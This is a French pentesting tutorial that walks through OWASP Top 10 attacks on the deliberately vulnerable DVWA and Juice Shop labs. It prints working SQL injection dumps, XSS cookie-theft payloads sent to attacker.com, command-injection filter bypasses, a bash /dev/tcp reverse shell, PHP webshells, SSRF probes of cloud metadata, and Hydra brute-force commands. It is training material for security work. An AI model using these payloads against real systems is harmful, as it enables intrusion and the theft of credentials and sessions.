ITSkillsCenter
Cybersécurité

Pentesting d’applications web : tutoriel OWASP 2026

15 min de lecture

Lecture : 14 minutes · Niveau : intermédiaire · Mise à jour : avril 2026

⚠️ Disclaimer : Tous les exemples s’exécutent sur DVWA et OWASP Juice Shop — applications volontairement vulnérables, légales à attaquer en local. Toute reproduction sur des systèmes tiers sans autorisation écrite préalable est illégale.

Tutoriel pas-à-pas pour exploiter les vulnérabilités les plus courantes du web (OWASP Top 10) avec des payloads exacts, des sorties attendues, et des labs reproductibles. À la fin de cet article vous aurez exploité concrètement : SQL injection, XSS, IDOR, command injection, file upload, SSRF, broken authentication.

Voir aussi → Pentesting éthique pour PME : guide complet, Outils essentiels du pentesting.

Sommaire

  1. Préparer les labs : DVWA + Juice Shop
  2. SQL Injection (A03:2021 — Injection)
  3. XSS Reflected et Stored (A03:2021)
  4. IDOR / Broken Access Control (A01:2021)
  5. Command Injection (A03:2021)
  6. File Upload vulnérable (A04:2021)
  7. SSRF (A10:2021)
  8. Broken Authentication (A07:2021)
  9. Cryptographic Failures (A02:2021)
  10. Workflow OWASP Testing complet
  11. FAQ

1. Préparer les labs : DVWA + Juice Shop

DVWA (PHP/MySQL) couvre l’OWASP Top 10 classique. OWASP Juice Shop (Node.js / SPA) couvre des vulnérabilités modernes plus subtiles.

Lancer les deux en Docker (machine Kali ou Linux) :

# DVWA sur port 8080
sudo docker run --rm -d --name dvwa -p 8080:80 vulnerables/web-dvwa

# Juice Shop sur port 3000
sudo docker run --rm -d --name juice -p 3000:3000 bkimminich/juice-shop

Vérifier :

curl -I http://localhost:8080/login.php
# HTTP/1.1 200 OK

curl -I http://localhost:3000
# HTTP/1.1 200 OK

DVWA setup : ouvrir http://localhost:8080, login admin/password, « Create / Reset Database », puis DVWA Security > Low.

Juice Shop : ouvrir http://localhost:3000, créer un compte. La gamification intégrée (Score Board) débloque les défis au fur et à mesure des exploitations réussies.

Tip : lancer Burp Suite et configurer Firefox sur le proxy 127.0.0.1:8080 (voir tutoriel précédent) pour intercepter toutes les requêtes — indispensable pour la suite.

2. SQL Injection (A03:2021 — Injection)

Cible : DVWA > SQL Injection (Low)

Test naïf : dans le formulaire User ID, soumettre 1. Réponse :

ID: 1
First name: admin
Surname: admin

Détection d’injection — payload classique :

Soumettre : 1' OR '1'='1

Réponse : tous les utilisateurs s’affichent (la condition '1'='1' est toujours vraie).

Extraction du nombre de colonnes (UNION) :

1' UNION SELECT NULL-- -

Erreur : « The used SELECT statements have a different number of columns »

1' UNION SELECT NULL,NULL-- -

Pas d’erreur → 2 colonnes.

Extraction de la version MySQL :

1' UNION SELECT @@version,NULL-- -

Sortie :

ID: 1' UNION SELECT @@version,NULL-- -
First name: 5.7.32-0ubuntu0.18.04.1

Extraction des tables :

1' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -

Liste : guestbook, users.

Dump de la table users :

1' UNION SELECT user,password FROM users-- -

Affichage des hashes MD5 :

admin: 5f4dcc3b5aa765d61d8327deb882cf99   (= "password")
gordonb: e99a18c428cb38d5f260853678922e03  (= "abc123")

Casser un hash :

echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john hash.txt --format=Raw-MD5
# john (John the Ripper) tente une attaque par dictionnaire

Avec sqlmap (workflow rapide) :

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=VOTREID; security=low" \
  --batch --dbs --tables --dump

3. XSS Reflected et Stored (A03:2021)

Cible : DVWA > XSS (Reflected) Low

Payload basique :

<script>alert('XSS')</script>

Une popup s’affiche → XSS confirmé.

Vol de cookie (concept pédagogique) :

<script>document.location='http://attacker.com/?c='+document.cookie</script>

⚠️ En pentest réel : ne jamais exfiltrer un cookie vers un serveur tiers réel — utiliser document.cookie affiché en alert ou un Burp Collaborator.

Avec Burp Collaborator :

  1. Burp > Collaborator > Copy to clipboard (ex. xyz.oastify.com)
  2. Payload :
<script>fetch('http://xyz.oastify.com/?c='+document.cookie)</script>
  1. Dans Collaborator, observer la requête HTTP avec le cookie en paramètre

Cible : DVWA > XSS (Stored) Low

Soumettre dans le champ Message :

<script>alert('Stored XSS')</script>

À chaque visite de la page, l’alert se déclenche pour tous les utilisateurs — d’où le « stored » bien plus dangereux que le reflected.

Bypass de filtres XSS niveau Medium DVWA :

Le filtre supprime <script>. Bypass classique :

<img src=x onerror=alert(1)>

ou

<svg onload=alert(1)>

Niveau High : filtre regex strict. Bypass via encodage :

<img src=x onerror="&#97;lert(1)">

Cheat sheet de référence : PortSwigger XSS cheat sheet (portswigger.net/web-security/cross-site-scripting/cheat-sheet) — la plus complète, à garder sous la main.

4. IDOR / Broken Access Control (A01:2021)

IDOR = Insecure Direct Object Reference. L’app expose un identifiant manipulable sans vérifier les droits de l’utilisateur.

Cible : OWASP Juice Shop

  1. Créer 2 comptes : user1@test.local et user2@test.local
  2. Connecté en user1, mettre un produit dans le panier
  3. Dans Burp HTTP history, repérer la requête GET /api/Baskets/1
  4. Modifier l’URL en GET /api/Baskets/2 → on voit le panier de user2

Exploitation typique en pentest :

GET /api/users/123/profile        → mes données
GET /api/users/124/profile        → données d'un autre utilisateur ?

Énumération de IDs avec Burp Intruder :

  1. Sélectionner la requête vulnérable, Send to Intruder
  2. Marquer l’ID comme position d’attaque (§)
  3. Payload type : Numbers, de 1 à 1000
  4. Lancer → analyser les longueurs de réponse différentes pour repérer les IDs valides

Dans une PME en pentest réel : une faille IDOR sur un système de facturation expose les factures de tous les clients. Sévérité critique. Toujours tester l’accès cross-user sur tout endpoint contenant un identifiant.

5. Command Injection (A03:2021)

Cible : DVWA > Command Injection (Low)

Le formulaire ping accepte une IP et exécute ping -c 3 IP.

Test : 127.0.0.1; ls

Sortie : ping ET résultat de ls (fichiers du dossier de l’app).

Bypass de ; filtré (Medium/High) :

127.0.0.1 && ls
127.0.0.1 | ls
127.0.0.1 || ls
127.0.0.1 `ls`
127.0.0.1 $(ls)
127.0.0.1 %0a ls   (newline encodé)

Reverse shell sur Metasploitable / lab légal :

Sur la machine attaquante (Kali) :

nc -lvnp 4444

Dans le formulaire vulnérable :

127.0.0.1; bash -i >& /dev/tcp/192.168.56.1/4444 0>&1

Sur Kali, le netcat reçoit une session shell sur la cible. ⚠️ Lab légal uniquement.

Démonstration d’impact pour un rapport :

Ne pas faire de reverse shell sur une cible client en pentest sans accord explicite. Démontrer l’impact en exécutant :

127.0.0.1; whoami
127.0.0.1; cat /etc/passwd | head -5

Cela suffit pour prouver l’exécution de commandes arbitraires sans risque opérationnel.

6. File Upload vulnérable (A04:2021)

Cible : DVWA > File Upload (Low)

Créer un webshell PHP minimal :

<?php system($_GET['cmd']); ?>

Sauvegarder en shell.php, l’uploader via le formulaire DVWA. Réponse :

../../hackable/uploads/shell.php succesfully uploaded!

Exploiter le shell :

http://localhost:8080/hackable/uploads/shell.php?cmd=id

Sortie : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Bypass niveau Medium (extension filtrée) :

DVWA Medium accepte seulement les images. Bypass :

  1. Renommer le shell en shell.php.jpg ou shell.jpg.php selon le filtre
  2. Modifier le Content-Type en image/jpeg via Burp avant l’upload

Bypass niveau High (vraie validation) :

  1. Créer un fichier image valide avec PHP injecté en métadonnées :
exiftool -Comment="<?php system(\$_GET['c']); ?>" image.jpg
mv image.jpg shell.php.jpg
  1. Si l’app inclut le fichier via LFI ailleurs, le PHP s’exécute

Webshell plus complet — pentestmonkey : copier /usr/share/webshells/php/php-reverse-shell.php (Kali), modifier IP/port, uploader.

7. SSRF (A10:2021)

SSRF = Server-Side Request Forgery. Le serveur fait une requête HTTP vers une URL contrôlée par l’attaquant.

Cible : OWASP Juice Shop > Score Board > « Reset Password Bjoern » ou tester sur PortSwigger Web Security Academy (labs gratuits).

Vecteurs typiques d’SSRF :

GET /fetch?url=http://localhost:8080/admin
GET /preview?image=http://169.254.169.254/latest/meta-data/   (AWS metadata)
GET /webhook?callback=http://localhost:6379/                   (Redis interne)

Test de base :

Si l’app accepte une URL en paramètre, tester :

  1. Localhost : http://127.0.0.1 ou http://localhost
  2. Métadonnées cloud (AWS) : http://169.254.169.254/latest/meta-data/iam/security-credentials/ — fuite de credentials AWS
  3. Réseau interne : http://10.0.0.1 (range privée)
  4. Bypass de filtres : http://[::1], http://0.0.0.0, http://127.1, http://localhost.evil.com (DNS rebinding)

Burp Collaborator pour valider :

Mettre l’URL Collaborator comme payload. Si le serveur fait une requête vers, on voit la requête arriver dans Collaborator → SSRF confirmé même sans réponse visible.

Remédiation à recommander :
– Allowlist d’URLs cibles (pas une blocklist)
– Refuser les ranges privées et localhost
– Interdire les redirections suivies

8. Broken Authentication (A07:2021)

Cible : DVWA > Brute Force (Low)

Avec Hydra :

# Récupérer PHPSESSID dans Burp puis :
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  127.0.0.1 -s 8080 \
  http-get-form "/vulnerabilities/brute/?username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie\: PHPSESSID=VOTREID; security=low"

Sortie attendue :

[80][http-get-form] host: 127.0.0.1   login: admin   password: password

Test de comptes par défaut :

Toujours tester avant tout brute force :

admin / admin
admin / password
admin / changeme
root / root

Énumération de users via réponse différentielle :

L’app retourne :
– User does not exist pour un user inexistant
– Invalid password pour un user existant avec mauvais mot de passe

→ Permet d’énumérer les users valides sans connaître le mot de passe.

Burp Intruder pour énumérer :

  1. Sélectionner la requête login, marquer le username en position
  2. Payload : wordlist usernames-top1000.txt de SecLists
  3. Filtrer les réponses par longueur — celles qui diffèrent indiquent un user valide

Test de session :
– Tokens JWT mal signés (alg: none, secret faible)
– Cookies de session prévisibles
– Pas d’expiration de session
– Session fixation (le token ne change pas après login)

9. Cryptographic Failures (A02:2021)

Tests à effectuer systématiquement :

HTTPS partout :

curl -I http://target.com
# Si pas de redirection 301/302 vers HTTPS → finding

Test SSL/TLS avec testssl.sh :

git clone https://github.com/drwetter/testssl.sh.git
cd testssl.sh
./testssl.sh https://target.com

Output : versions TLS supportées, ciphers faibles, vulnérabilités (Heartbleed, POODLE, etc.).

Hashes faibles dans une DB exfiltrée :

# Hash MD5 ?
echo -n "password" | md5sum
# 5f4dcc3b5aa765d61d8327deb882cf99 ← findable en seconds via rainbow tables

# Hash SHA1 ?
echo -n "password" | sha1sum
# Aussi cassable

# bcrypt ? scrypt ? argon2 ?
# ✓ Bons choix, casser est très lent même avec hardware moderne

Cookies sans flags sécurité :

curl -I http://target/login | grep -i set-cookie

Doit contenir : Secure; HttpOnly; SameSite=Strict. Manquant → finding.

10. Workflow OWASP Testing complet

Pour chaque application testée, parcours systématique :

1. Reconnaissance
   - whatweb http://target          # Stack technique
   - wafw00f http://target          # Détection WAF
   - gobuster dir -u http://target -w wordlists/common.txt

2. Mapping (Burp)
   - Crawl manuel complet (cliquer chaque lien, soumettre chaque form)
   - Site map > clic droit > Engagement tools > Find references

3. Tests par catégorie OWASP
   - Authentification : brute force, énumération, JWT
   - Session : flags cookies, fixation, timeout
   - Authorization : IDOR, escalade horizontale/verticale
   - Input validation : SQLi, XSS, command, LDAP, XXE
   - Crypto : HTTPS, hashes, randomness des tokens
   - Business logic : limites de quantité, négatifs, ordre des étapes
   - File upload : extensions, contenu, MIME, taille
   - SSRF : tous les paramètres URL

4. Outils auto en parallèle (avec accord ROE)
   - nuclei -u http://target -t cves/
   - nikto -h http://target
   - sqlmap --crawl=2 -u http://target

5. Documentation
   - Screenshots de chaque exploitation réussie
   - Payloads exacts utilisés
   - Réponses serveur copiées (raw)
   - Impact démontré (pas seulement détecté)

Checklist OWASP officielle : la OWASP Web Security Testing Guide (WSTG) liste 100+ contrôles spécifiques. Disponible gratuitement sur owasp.org. À utiliser comme grille systématique.

Voir Rédiger un rapport de pentesting professionnel pour structurer les findings en livrable client.

FAQ

Combien de temps pour exploiter chaque vulnérabilité OWASP ?

Sur DVWA Low, chaque vulnérabilité prend 5-15 min à exploiter une fois les payloads connus. Sur des cibles réelles avec WAF et défenses, compter plusieurs heures par vulnérabilité, parfois plusieurs jours pour les exploitations complexes (chaining de plusieurs failles).

Pourquoi sqlmap ne trouve rien sur ma cible ?

Plusieurs raisons : WAF qui bloque les payloads (utiliser --tamper=...), point d’injection mal identifié (essayer --level=5 --risk=3), authentification requise (passer le cookie via --cookie=), ou tout simplement pas vulnérable. Toujours tester manuellement d’abord pour valider.

Quelle est la différence entre XSS Reflected, Stored et DOM ?

Reflected : la payload est dans la requête (URL ou form), réfléchie immédiatement dans la réponse — nécessite que la victime clique un lien malveillant. Stored : la payload est sauvegardée en DB et servie à tous les visiteurs — beaucoup plus dangereux. DOM-based : la payload est traitée côté client par JavaScript sans passer par le serveur — invisible dans les logs serveur.

Comment tester les vulnérabilités sans casser le site client ?

Pour SQLi : commencer par des payloads non destructifs (', ' OR '1'='1, '') pour détecter, puis demander accord avant tout dump. Pour command injection : tester avec whoami ou id, jamais rm ou wget non discutés. Pour file upload : uploader puis supprimer immédiatement.

Mon Burp Community est-il limité pour ces tests ?

Pour apprendre : largement suffisant. Pour pentest pro : limité (Intruder throttlé, pas de scanner actif, pas d’extensions critiques). Burp Suite Pro est l’investissement le plus rentable pour un pentester web sérieux.

Comment trouver des labs gratuits pour s’entraîner ?

PortSwigger Web Security Academy (gratuit, excellent — labs progressifs sur chaque vulnérabilité). HackTheBox Starting Point (gratuit). TryHackMe parcours OWASP. OWASP Juice Shop local. PicoCTF pour les CTF débutants. Root-Me (en français — challenges web variés).

Quelle est la vulnérabilité la plus courante en pentest PME en 2026 ?

Broken Access Control / IDOR est devenu n°1 OWASP 2021 et reste très fréquent en pratique — beaucoup de devs n’implémentent pas correctement la vérification de droits côté serveur. Mauvaise configuration (credentials par défaut, services exposés inutilement, headers de sécurité manquants) reste aussi extrêmement commune.

Faut-il toujours utiliser sqlmap ou apprendre les injections manuellement ?

Apprendre manuellement d’abord — comprendre la mécanique (UNION, blind, time-based) permet de reconnaître les vulnérabilités là où sqlmap échoue, et d’écrire des payloads custom contournant un WAF. Une fois les bases acquises, sqlmap fait gagner beaucoup de temps sur les cas standards.

Articles liés (cluster Pentesting)

Voir aussi : Cybersécurité pour PME africaines, WordPress sécurité pour PME pour appliquer les correctifs côté défensif.

Article mis à jour le 25 avril 2026. Pour signaler une erreur ou suggérer une amélioration, écrivez-nous.

#audited #owasp #pentesting #sql injection #XSS
Besoin d'un site web ?

Confiez-nous la Création de Votre Site Web

Site vitrine, e-commerce ou application web — nous transformons votre vision en réalité digitale. Accompagnement personnalisé de A à Z.

À partir de 250.000 FCFA
Parlons de Votre Projet
Publicité

Articles Similaires